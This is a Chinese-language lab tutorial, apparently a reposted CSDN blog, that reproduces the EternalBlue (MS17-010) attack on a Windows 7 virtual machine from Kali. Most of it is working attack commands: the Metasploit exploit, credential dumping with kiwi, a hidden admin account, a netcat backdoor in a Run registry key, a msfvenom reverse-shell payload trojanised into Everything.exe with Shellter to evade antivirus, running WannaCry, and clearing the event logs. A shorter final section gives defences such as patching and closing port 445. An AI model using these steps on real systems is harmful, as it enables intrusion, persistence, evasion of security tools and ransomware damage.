目录
一、永恒之蓝概述
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。
二、SMB协议
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
三、准备工作
- 虚拟机:VMware
- 靶机:Windows 7(IP:192.168.184.138)
- 攻击机:Kali (IP:192.168.184.130)
- 工具:Kali中的nmap metasploit(MSF)
四、漏洞复现
1、主机发现
a.前提win7关闭防火墙
不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。
可以ipconfig ifconfig分别查看win7和kali中的ip地址:
win7
kali
2.用kali中的nmap 扫描网段做主机发现
IP地址:<网络号>+<主机号>
A类:10.0.0.0~10.255.255.255
B类:172.16.0.0~173.31.255.255
C类:192.168.0.0~192.168.255.255
/24就是代表24个1,即子网掩码为255.255.255.0
192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。
nmap -sP 192.168.184.0/24 #sP(ping扫描)
.1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7
3.用kali中的metasploit(MSF)做主机发现
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行
这是以上的方法做主机发现,其实还有很多。
- Windows 7 IP:192.168.184.138
- Kali IP:192.168.184.130
让他们ping一下,看看是否联通。
kali——ping——win7
win7——ping——kali
2、端口扫描
nmap -sT 扫描端口:
nmap -sT 192.168.184.138 #sT(使用TCP进行扫描)
MSF 端口扫描:
use auxiliary/scanner/portscan/tcp //使用模块
set rhosts 192.168.184.138 //设置远程ip
run
扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)
3、利用模块
MSF 搜索永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)
1. blue就是永恒之蓝的漏洞
2. psexec是可利用的一个javascripe(JS)的一个模块
3. command是运行cmd的
4. 最后一个是探测的模块
a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。
use auxiliary/scanner/smb/smb_ms17_010 //使用模块 use 3也可以
show options //查看要配置的参数
set rhosts 192.168.184.138 //设置远程ip
run //运行
我们扫出来是 likely 可能的 可能存在漏洞 good!
b.我们在利用永恒之蓝的模块
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
msf>命令
慢慢跑
成功!!!
运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。
五、演示功能
1.获取cmd
meterpreter > shell
chcp 65001 //转换一下编码 要不然会乱码
ipconfig #查看ip
whoami #查看当前用户名称
2.捕获屏幕
meterpreter > screenshot #屏幕截图
查看捕获的图片:
3.上传文件
meterpreter > upload user.txt c://
到win7看一看,果然有了。
4.下载文件
meterpreter > download d://1.txt
5.远程登录
kiwi模块查看密码:
使用kiwi模块需要system管理员权限:
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
exit #退出
k:k123456
MSF启动目标机的3389端口
windows远程连接默认是不允许连接的:
我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上Hacker呢,哈哈哈...
启动win7的3389端口即远程桌面协议,执行远程链接命令:
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
在次查看win7远程:
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
输入刚刚查到的账户和密码 k:k123456
连接成功!!!
由于这样我们远程登录win7用户k,在win7会把用户k顶下去:
创建用户:
所以我们要创建一个新用户用来登录:
meterpreter > shell #进入命令行
net user kill 123 /add #新建用户kill 密码123
net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:
点击确定---kali连接到win7,点击取消kali连不上win7.
确定 :
取消:
查一查吧!!!
chat-GPT是真好用!
按照GPT的来
-
输入“gpedit.msc”并回车,打开本地组策略编辑器。
-
在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。
-
右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。
-
保存设置并关闭组策略编辑器。
我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。
好在找到了破解补丁!!!破解---重启!!!
重启win7 在次连接:成功!!!
kali远程连接:rdesktop 192.168.184.138
win7没有掉:
6.上传后门
在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。
msf上传到win7 的c盘windows下
upload /usr/share/windows-binaries/nc.exe C:\\Windows
win7看一下:
当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'
新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。
netsh firewall add portopening TCP 7777 "kill" ENABLE ALL
对应的win7:
通过nc -v连接靶机进入控制台
nc -v 192.168.184.145 7777
whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户:
7.免杀加壳
MSF生成.exe的马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe
我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)
upload /root/kiss/nc.exe c:\\Windows\\addins
upload /root/kiss/shell.exe c:\\Windows\\addins
#长传 kali木马的目录 上传到目标主机的目录
查看win7下的目录:
360,火绒检测一下,肯定是报毒的:
给木马加壳:
加壳用到的工具是Shielden:
一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。
不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。
shellter附加:
大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。
kali新版本已经没有了,安装命令:
apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
我的已经下好了:
shellter:命令行启动
如果有中文乱码,是因为缺少字体,下载字体就可以了:
链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA
提取码:8888
kali命令:
unzip Fonts.zip #解压.zip
cp Fonts/* ~/.wine/drive_c/windows/Fonts/ #把Fonts文件夹内所有字体复制到wine的映射目录内
打开~/.wine/drive_c/windows/Fonts
,确保字体已复制(原本这个文件夹是空的)
终端输入winecfg
,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。
好了,正片开始:
下载文件搜索工具everything
我们用32位everything.exe,可点该链接下载
下载好以后是一个压缩包,解压之后把里面的everything.exe放到kali中
添加后门 :
启动shellter后,在选择模式后选择A,自动模式:
然后输入要加后门文件的路径:
A
/root/kiss/bao/Everything.exe
回车后等一会,要选择是否启用隐身模式这里选择N
看图填就行:
监听ip填写kali的,端口填6666就好:
回车:
这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在Shellter_Backups中
Shielden加壳:
不加壳能够过360,过不了火绒:
还是要加壳滴:
加壳后:
先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)
upload /root/kiss/bao/Everything_se.exe c:\\
查看一下
MSF运行Everything.exe即监听成功:
先开启端口
MSF永恒之蓝运行:
shell进入cmd
开启6666端口
netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
cd 到带有木马下的目录
Everything_se.exe 运行该木马
等开启监听在运行也可以
MSF启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.138
set lport 6666
run
最后的运行:
大概就是先开启监听,然后在利用MSF永恒之蓝运行:
查看win7,发现Everything.exe在运行:
当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'
设置完成后win7重启,在reboot重启也行.
上线MSF:成功!!!
8.运行wannacry
MSF upload 上传wcry.exe 并运行:
运行即勒索:
尝试关闭wcry.exe,结果失败:
好在软件还可以进去,360,火绒扫一扫吧:
wannacry:360火绒能奈我何😊😊😊 这次是真想哭了(wannacry).....
9.清除日志
win7 事件查看器(日志)
kali中清除
meterpreter > clearev
在次查看,都被清空了,但是还会有最后一个命令清除的日志。
六、预防方案
- 打开防火墙,安装杀毒软件。
- 关闭445端口及不必要的服务。
- 安装对应补丁。
1.打开防火墙
win7下打开防火墙:
MSF测试 :
开启防火墙模式下---MSF发起攻击:
竟然成功了!!! (注:这是我攻击过后,在次利用MSF攻击。未被永恒之蓝攻击过开启防火墙是攻击不了的)
2.安装杀毒软件
360和火绒:成功阻止永恒之蓝
病毒查杀nc.exe
MSF攻击:拒绝连接了
因为360 火绒起了防护作用,还把我的后门nc军刀给杀掉了。(想不被发现还要做免杀)
看来安装杀毒软件还是有用滴。(关闭360火绒还是可以攻击的)
测试工具:显示还是有永恒之蓝的。
3.禁用445端口
防火墙新增入站规则:
打开防火墙的高级设置,新建入站规则:
选择端口139,455
阻止连接
作用于全部(域,专用,公用)命名为高危端口,139,445端口。
打开防火墙的入站规则查看:
关闭server服务
WIN+R 运行--services.msc
找到server服务,双击进入管理控制页面。把这个服务的启动类型更改为“禁用”,服务状态更改为“停止”,最后点击应用即可。
关闭不必要的服务:
比如 网络发现、文件传输、共享、打印、远程连接、远程桌面。
4.IPsec关闭高危端口
在“开始”菜单选择“运行”,输入“gpedit.msc”后回车,打开本地组策略编辑器。依次展开“计算机配置—windows设置—安全设置—ip安全策略,在 本地计算机”,右键创建ip安全策略:
填写名称:
下一步
下一步
添加
继续添加:
命名,添加,任何ip就行
确定:
筛选器新建
阻止
确定 查看:
添加139和其他端口一个道理。
MSF测试:失败
5.注册表关闭445端口
注册表方式关闭445端口,还有防火墙规则方式,cmd命令提示行关闭等等。
WIN+R 运行--regedit 进入注册表:
找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”
选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己系统需求)
将DWORD值重命名为“SMBDeviceEnabled”
右键修改"数值数据"的值为0(0代表关闭,1代表打开),点击确定,完成设置 。
最后重启电脑即可关闭445端口。
重启之前:netstat -ant 查看端口:
重启之后:netstat -ant 查看端口,发现没有445端口了。
445端口关闭了,肯定攻击不成功了,超时。。。
工具也因445端口关闭而连接失败,但win7还是存在永恒之蓝漏洞的。
虽然这种方法可行,但伤敌一千,自损八百。因为我们个人不一定用到445端口等文件共享,打印什么的,但是公司企业需要:
比如:企业在服务器上将某一个目录共享给企业内的员工,让他们存储及共享文件等。
6.安装补丁
这是大招了,哈哈哈。。。
补丁网站:
我们安装微软发布的2019年的补丁,也是最新的补丁, 因为微软在2020.1月的时候停止对win7的支持更新了。
win7安装补丁之前:
win7安装KB4474419补丁:
多了一个补丁:
MSF攻击:
失败
工具检测:系统安全
七、总结
为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口。
转载自CSDN-专业IT技术社区
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/m0_65712192/article/details/127637917